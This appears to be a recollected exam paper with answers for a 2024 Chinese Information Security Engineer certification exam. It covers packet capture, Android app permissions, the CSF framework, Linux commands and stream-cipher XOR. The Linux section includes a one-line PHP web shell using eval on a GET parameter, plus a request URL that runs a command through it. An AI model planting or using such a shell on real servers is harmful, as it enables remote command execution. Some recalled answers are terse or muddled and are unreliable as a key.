2024InformationSecurityEngineer

2024 Information Security Engineer, 2024InformationSecurityEngineer

2024 Second Half - Information Security Engineer

Exam Question Recollection

Soft Exam - Exam Date: 2024年11月08日

1. Firewall Packet Capture (14 points)

1. Packet length ___ (2 points) Answer: 63
2. Is it a physical machine or a virtual machine ___ (2 points) Answer: Virtual machine
3. IP and port of the controlling host ___ (2 points) Answer: 192.168.1.218 14444
4. Wireshark filter rules for IP and port ___ (2 points) Answer: ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. Command used by the controlling host (2 points) Answer: ipconfig
6. Windows shortcut for viewing the firewall ___ (2 points) Answer: firewall.cpl
7. Which option ___ (2 points) Answer: Custom

2. Android Questions (16 points)

1. Directory/file storing the signature ___ (2 points) Answer: META-INF

2. Directory/file storing permissions ___ (2 points) Answer: AndroidManifest.xml

3. Five questions (10 points) (1) Which setting supports backup; (2) Historical location information can be read; are there any security risks; (3) In the configuration file, which of the four major components are used; (4) Which component has the highest risk of information leakage; (5) Is there information abuse? Explain in detail;

   Answer: (1) backup...... Backup is not supported (2) There are hidden risks; unknown information may be leaked (3) Activity, BroadcastRecevier (4) Contentprovider (5) There is information abuse. Permissions such as location, camera, storage, contacts, multimedia, and Bluetooth are mostly over-collected

4. Does the user in Android have root privileges (2 points) Answer: No

3. CSF (11 points)

1. Which security model ___ (2 points) Answer: PDRR
2. Unknown
3. Which core function does the firewall belong to ___ (2 points) Answer: Protect
4. Two questions (4 points) (1) Compared with PDRR, what additional core function does CSF have ___ (2 points) Answer: Identify (2) Which function of CSF does risk assessment belong to ___ (2 points) Answer: Identify
5. Besides asset identification, what are the other three types of identification ___ (3 points) Answer: Risk identification; Vulnerability identification; Existing security measure identification

4. Linux (13 points)

1. Full name of ll ___ (2 points) Answer: ls -l

2. Is the current user root or a regular user ___ (2 points) Answer: root

3. Numeric representation of file permissions ___ (2 points) Answer: rw-r--r-- 644

4. What does ../ in the figure mean ___ (2 points) Answer: Parent directory, /var/www/html

5. Linux built-in commands for calculating hash values ___ (2 points) md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> (5 points)

1. What is the connection password corresponding to this file? Answer: cmd
2. What HTTP request method is used? Answer: GET
3. Assuming the domain is abc.com, the complete request URL for executing whoami Answer: abc.com/shell.php?cmd=system("whoami")

5. Encryption (15 points)

1. Besides symmetric and asymmetric encryption, how else can encryption be classified by the way plaintext is processed (2 points) Answer: Block ciphers and stream ciphers
2. The 8-bit representation of a (2 points) Answer: 97 ---》 01100001
3. Result of XOR encryption of a and abc (6 points) Answer: 032 or 00000000 00000011 00000010
4. Given mi, ki, ci, what is the formula to obtain the plaintext (2 points) Answer: mi = ki XOR ^ ci
5. Is it secure for two different plaintexts to be encrypted with the same stream cipher key? Why? (2 points) Answer: Not secure; one plaintext can be derived from the other
6. Can a block cipher be used as a stream cipher (1 point) Answer: Yes